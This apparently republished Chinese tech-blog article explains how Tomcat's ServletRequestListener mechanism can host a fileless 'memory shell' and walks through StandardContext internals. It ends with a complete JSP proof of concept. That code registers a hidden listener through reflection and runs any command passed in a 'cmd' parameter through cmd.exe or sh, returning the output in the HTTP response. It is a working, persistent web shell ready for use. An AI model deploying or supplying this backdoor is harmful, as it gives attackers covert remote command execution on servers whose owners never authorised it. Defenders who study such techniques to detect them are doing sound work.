栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Tomcat Java内存马 listener型

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Tomcat Java内存马 listener型

Tomcat Java内存马 Listener型

Listener型相比Filter型来说就简单的多。

什么是Listener?

Listener是针对对象的操作的,如Session的创建,Session.setAttribute的发生,在这样的事件发生时做一些事情。

当Web应用在Web容器中运行时,Web应用内部会不断地发生各种事件:

  • 如Web应用的启动和停止

  • 用户Session的开始和结束等

通常这些Web事件对开发者是透明的。Listener(监听器)是观察者模式的应用,通过方法回调来实现。

Listener在Web容器启动的时候,去读取每个Web应用的Web.xml配置文件,当配置文件中配有Listener时,Web容器实例化Listener。

Listener是当某个事件发生时,调用它特定方法,如HttpSessionListener,当创建一个Session时会调用它的SessionCreated()方法,当servlet容器关闭或者重新加载Web应用时Listener对象被销毁。

Listener是最先被加载的, 所以可以利用动态注册恶意的Listener内存马。而Listener分为以下几种:

  • ServletContext,服务器启动和终止时触发

  • Session,有关Session操作时触发

  • Request,访问服务时触发

其中关于监听Request对象的监听器是最适合做内存马的,只要访问服务就能触发操作。

Tomcat使用两类Listener接口分别是org.apache.catalina.LifecycleListener和原生java.util.EvenListener。

LifecycleListener增加了生命周期管理,主要用于四大容器类StandardEngine、StandardHost、StandardContext、StandardWrapper。它们多用于Tomcat初始化启动阶段,那时客户端的请求还没进入解析阶段,也就是说不能通过请求,根据我们的输入执行命令

所以我们重点关注java.util.EvenListener,EvenListener接口本身很简单,啥也没有。

package java.util;


public interface EventListener {
}

原生Tomcat中,有很多继承于EventListener的接口,应用于各个对象的监听,ServletRequestListener便是其中之一。

这里我们选择ServletRequestListener,因为ServletRequestListener主要用于监听ServletRequest的生成和销毁,也就是说当我们访问任意资源,无论是servlet、jsp还是静态资源,都会触发requestInitialized方法。

package javax.servlet;

import java.util.EventListener;

public interface ServletRequestListener extends EventListener {
    default void requestDestroyed(ServletRequestEvent sre) {
    }

    default void requestInitialized(ServletRequestEvent sre) {
    }
}
Listener

经过上面的介绍,写一个Demo打断点看一下吧

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class ListenerDemo01 implements ServletRequestListener {

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("ListenerDemo01 requestDestroyed");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("ListenerDemo01 requestInitialized"); 
    }
}

通过调用栈往上回溯一层,可以看到ListenerDemo01.requestInitialized()是被StandardContext.fireRequestInitEvent()方法调用了。

//StandardContext.java
public boolean fireRequestInitEvent(ServletRequest request) {

    Object instances[] = getApplicationEventListeners();

    if ((instances != null) && (instances.length > 0)) {

        ServletRequestEvent event =
                new ServletRequestEvent(getServletContext(), request);

        for (Object instance : instances) {
            
            ServletRequestListener listener = (ServletRequestListener) instance;

            try {
                listener.requestInitialized(event);
            } catch (Throwable t) {}
        }
    }
    return true;
}

listener是(ServletRequestListener) instance造型过来的,而instance是遍历instances得来的,然后instances又是从getApplicationEventListeners()方法获得的。

//StandardContext.java
public Object[] getApplicationEventListeners() {
    return applicationEventListenersList.toArray();
}

跟进getApplicationEventListeners()方法看到是将字段applicationEventListenersList转换成数组返回的。那么就很简单了。

先拿到StandardContext,然后通过addApplicationEventListener()方法向字段applicationEventListenersList加进写好的恶意Listener。

//StandardContext.java
public void addApplicationEventListener(Object listener) {
    applicationEventListenersList.add(listener);
}
Poc
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>

<%!
    public class MyListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    //in = Runtime.getRuntime().exec(new String[]{"sh","-c",req.getParameter("cmd")}).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\A");
                    String out = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    request.getResponse().getWriter().write(out);
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
    MyListener listenerDemo = new MyListener();
    context.addApplicationEventListener(listenerDemo);
%>


    poc


hello poc



参考文章:

  • tomcat及Filter内存码、Listener内存码
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/1021357.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号